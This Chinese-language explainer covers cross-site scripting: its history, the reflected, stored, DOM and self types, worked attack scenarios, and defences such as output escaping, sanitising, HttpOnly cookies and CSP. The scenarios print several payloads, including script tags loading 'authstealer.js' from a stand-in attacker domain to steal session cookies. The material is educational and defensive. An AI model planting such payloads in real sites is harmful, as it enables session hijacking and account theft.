XSS介绍

最新推荐文章于 2024-03-18 13:05:26 发布

Aldom

最新推荐文章于 2024-03-18 13:05:26 发布

阅读量990

点赞数

安全漏洞——沉睡的巨人XSS

Cross-site scripting，跨站脚本攻击，简写XSS（因为首字母缩写与CSS样式表重复，故采用XSS）。

背景

Web程序安全问题依赖于很多机制，其中就包括“同源策略”。同源策略是指调用方与被调用方需是同一地址，否则浏览器会阻止其调用。

XSS脚本攻击主要集中在web系统、其所在服务器以及相关依赖系统。利用这其中的一个漏洞，攻击者可以把恶意内容从一端传递到另一端。当XSS从被信任的客户端（如浏览器）开始注入，那么这些操作就会被认为是合法的、已被授权的。通过将恶意的脚本注入到web网页，攻击者可以获得授权访问敏感内容、cookie信息以及其他关于用户行为的信息。XSS脚本攻击是脚本注入的一种。

微软的安全工程师在2000年1月开始对外公布XSS。XSS来源于受攻击网站加载一个不相关的第三方网站内容而遭受到的攻击，具体来讲就是在目标网站执行恶意的JavaScript脚本（利用反射或非持久的XSS漏洞）。XSS涉及的范围逐渐从脚本注入扩展到其他类型的代码注入，包括持久型（也叫存储型）和非javascript载体（包括ActiveX、java、VBScript、flash、html脚本等），给信息安全新手带来了一些困惑。

XSS漏洞在1990年就被大量报道和利用。被攻击的知名网站包含Twitter、Facebook、YouTube等。XSS漏洞成为最知名的安全漏洞，一些分析机构在2007年指出高达68%的网站有XSS漏洞。

类型

对于XSS的类型业界没有一套标准的描述，但是大多数专家从大体上将XSS分为两类：非存储型和存储型。其他一些主流分法，又将XSS分为服务端型和DOM型。

反射型（非存储型）

反射性XSS是最常见的web漏洞。它主要出现在查询的http请求参数中，因为没有对请求参数进行处理，这些脚本直接被服务器解析并将页面内容展现给用户。反射性XSS曾经出现在谷歌云上，它允许恶意网站攻击那些登录的谷歌账户。

因为html文档包含扁平和序列化结构（控制语句等）、格式化脚本、一些未校验的用户提供的数据，这些都为注入提供了条件。一个典型的攻击实例就是网页搜索引擎：当搜索字符串时，如果服务端不针对返回结果做转义或者拒绝一些html的控制字符串，跨站脚本攻击就会出现。

反射性XSS攻击通常通过邮件或第三方网址进行传播。这些诱饵都是无辜的url链接，它指向一个被信任的网站但是url中包含XSS攻击。如果在被信任的网站点击这些url，那么受害者的浏览器就会执行被注入的恶意脚本。

持久型（存储型）

持久型XSS，又叫存储型XSS漏洞，是一种更具有毁灭性的跨站脚本攻击的变体。如果网站没有对输入进行适当的html转义，攻击者的恶意脚本就可以通过网站存储到服务器，只要有其他用户访问这个公共资源，持久型XSS就发生了。一个典型的例子就是在线留言板，允许所有人提交html版信息，而这些信息可以被所有浏览者读取。

假设有个数据浏览的网站，每个人都可以浏览他感兴趣的其他人的信息。因为一些特殊原因，网站隐藏了每个人的真实姓名和邮箱，只有已登录该网站的人才能看到这些敏感信息，否则浏览不到。

攻击者Mallory，加入这个网站想查看所有人的真实姓名和邮箱。为了达到目的，她在自己的个人信息中注入脚本，当其他人浏览到她的信息时，被注入的脚本会发送一些敏感的信息到她自己的服务器。

为了达到目的，Mallory在“个人信息”输入简短的答案，但是在答案后面隐藏了获取姓名和邮箱的脚本，只要用<script>标签包起来在浏览器就不会显示。如果被攻击者Bob访问到了Mallory的个人信息，被注入的脚本就会自动将Bob的个人信息发送到Mallory自己的服务器。

持久型XSS漏洞具有更大的破坏力因为攻击者的恶意脚本不需要访问第三方网址就可以自动执行。尤其发生在社交型网站，这些脚本会通过账户自行传播。

这些注入脚本影响巨大，在某些场景，攻击者不需要直接与被攻击网站关联就可以收集到被攻击网站的所有信息（比如邮件、系统日志、IM通信等）。

DOM型

基于历史原因XSS漏洞最早被发现在那些通过后台处理所有数据的应用。用户输入（包含攻击脚本的）会发送到服务端，然后这些信息又经由服务端返回到用户网页。为了提升用户体验，一些主流的应用有大量的前端展现层（可能通过js脚本实现），它们一般通过ajax异步调用来获取数据。

Js脚本可以处理用户输入然后展现在web页面，一个反射型XSS的子类（被叫做DOM型跨站脚本）出现了。在DOM型XSS攻击中，恶意的数据不会发送到服务端，相反的是通过js脚本反射执行，完全基于客户端。

在2011年一个典型的DOM型XSS漏洞爆发在大量的jQuery插件中。相比传统的XSS攻击，DOM型XSS攻击只有极少的解决方案（例如输入校验和转义）。一些js框架内置了防止DOM型XSS攻击的策略，比如angularjs。

自我型

自我型XSS是XSS漏洞依赖于社会工程学执行恶意js代码的一种形式。尽管它从技术上讲不是XSS漏洞的一种，但是由于它依赖于社会工程去执行一系列恶意脚本，它造成了和XSS漏洞一样的影响。

攻击案例

攻击者利用XSS漏洞攻击时必须知道每一种类型的攻击途径。

非持久型

Alice经常浏览一个知名的由Bob管理的网站。Bob的网站允许Alice通过用户名/密码登陆并存储敏感信息，比如计费信息。当用户登陆，浏览器保存被认证的Cookie（这些Cookie信息看起来像垃圾字符），以便客户端和服务端都知晓她已经登陆。
Mallory通过反射XSS漏洞监控Bob的网站：

2.1、当她在搜索框输入查询内容并点击提交按钮时，如果没有记录匹配，网页会展示“无记录”，并且url会变为http://bobsite.org?q=查询的内容。

2.2、正常的查询，比如查询puppies，网站会返回“puppies没有找到”并且url变为http://bobsite.org?q=puppies。

2.3、然而，如果她提交一个非正常的查询字符串，比如“<script>alert(‘xss’);</script>”。一个弹框会出现，网站也会返回“<script>alert(‘xss’);</script>没有找到”，url变为http://bobsite.org?q=<script>alert(‘xss’);</script>。

Mallory继续操作将url变为http://bobsite.org?

q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E，将脚本转为16进制，以便变得不那么可读来隐藏恶意url。Mallory通过脚本向Bob网站的用户发送一封邮件，内容是：看看一些可爱的小狗。

Alice收到了Mallory通过脚本发送的邮件，她喜欢小狗于是乎点击了邮件中的超链接。通过超链接Alice跳转到Bob的网站去搜索没有任何东西，只有“puppies没有找到”的提示，但是在同时被注入的脚本在屏幕看不到的地方运行了恶意脚本，这时Alice是无感知的。
恶意脚本在Alice的浏览器运行，就像它来源于Bob的网站一样。脚本发送了已认证的Alice的Cookie信息到Mellory的服务器。
Mellory现在通过获取到的Cookie到她自己的浏览器，就像Alice一样，它跳转到Bob的网站，并且用户是Alice。
Mellory通过查看Alice的信用卡账号，并且修改了密码，以便Alice不能再登录。
Mellory进一步操作，她发送了一个类似Bob自己的链接，然后获取到了Bob网站的管理员权限。

下面的措施可以减少此类的攻击：

对搜索框进行内容过滤，比如包含适当的编码检查
将web服务器设为重定向无效请求
Web服务器在处理登录的同时，将session置为失效
Web服务器检查两次登陆IP不同，然后将session置为失效
网站对敏感信息，如信用卡号进行特殊处理，部分数字加*等
网站在用户更改自己注册信息时让用户再输一次密码
网站制定一些安全方面的策略
网站提示用户不要点击来源不明的链接
将cookie设置为httponly阻止通过js脚本来获取

持久型

Mallory获得了Bob网站的账户
她发现了Bob的网站有持久型XSS漏洞。如果你浏览到新闻区，并且提交评论，无论提交什么内容都原样展示。但是，如果评论内容包含html标签，并且html并执行展示了，那么任何脚本也可以被执行。
Mallory在浏览新闻时，在评论区注入：I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
当Alice或者其他任何人浏览到该评论，Mallory的脚本就会执行，并且盗取Alice的Cookie，并发送到Mallory自己的服务器。
Mallory就可以劫持Alice的会话并且冒充Alice

防御措施

上下文输出转码或转义输入字符

上下文输出转码或转义是主要的防御XSS攻击方式。这里有一些转义方式，可以将不信任的字符进行替换，比如html标签、JavaScript转义、css转义、url转码等。大多数不需要富文本输入的web应用可以通过转义来大量减少XSS攻击。

尽管这种方式被广泛地建议，但是仅针对5个xml有效字符进行编码并不总是能防御多种形式的XSS攻击。而且由于编码一般很麻烦，所以通过安全转码工具更容易使用。

安全地校验不受信任的html输入

大多数主流的网站都允许用户利用有限的html标记，比如输入<b>very</b>，输出<b>very<b>并不能满足用户想要多very加粗的意愿。当接受用户html输入时预防XSS攻击就变得更加复杂了。不信任的html输入必须通过html清理引擎执行以确保不含有XSS攻击脚本。

诸如<script><link><iframe>等标签应该被转义，但是还是有一些通过<img sr=”javascript:alert(1)”>进行攻击。另一种常见的方式是将用户的输入剥离出来，但是攻击者可以通过混淆来绕过。

Cookie安全

除了内容过滤，其他不完善的防御XSS攻击的方法也能一定程度上阻止XSS。一个方案是对用户cookie增加额外处理。很多web网站依赖于session cookie在不同http请求间认证用户，因为cookie存储在客户端，因此很容易获取。为了避免这种威胁，许多web网站将session cookie和用户第一次登陆的IP绑定在一起，只允许该IP使用cookie。这在大多数情况下是有效的，但是如果攻击者通过某种方式如代理IP可以改变他的IP进行攻击。

另一种方案是在IE、Firefox、Chrome等浏览器添加httponly的标识，只允许服务器操作cookie，而不允许客户端操作。虽然有益，但是还是不能完全阻止cookie失窃。

禁用脚本

随着web2.0和ajax的普及，一些web网站可以在不需要任何客户端脚本的情况下完美运行，它允许在浏览器端禁用脚本。在这种情况下用户可以极大程度上避免XSS攻击。这种方式最大的毛病是降低了功能和响应速度（因为客户端脚本不需要走http请求，也不需要重写加载页面）。另一个难点是很多用户不知道这事，而且也不知道如何合理地设置浏览器已达到安全。此外，很多web网站在禁止脚本后无法正常响应。而且一些浏览器的调试模式也是可以注入脚本的。

新兴防御技术

这里有一些新的防御技术，比如内容安全策略，JavaScript沙箱工具、自动转义模板。这些技术仍在发展，相信在不远的将来会大幅度减少XSS攻击的发生。

服务扫描

一些公司跑定时的扫描服务，通过模拟服务端到客户端的攻击来检查攻击是否成功。如果攻击成功，客户端收集到它如何执行的详细信息，并想办法修复。可以在通过扫描的网站打上信任的标记。扫描也许不能扫到所有可能的漏洞，因此这些被信任的网站还是有可能会被一些新型的XSS漏洞攻击，但是扫描还是能一定程度减少XSS攻击。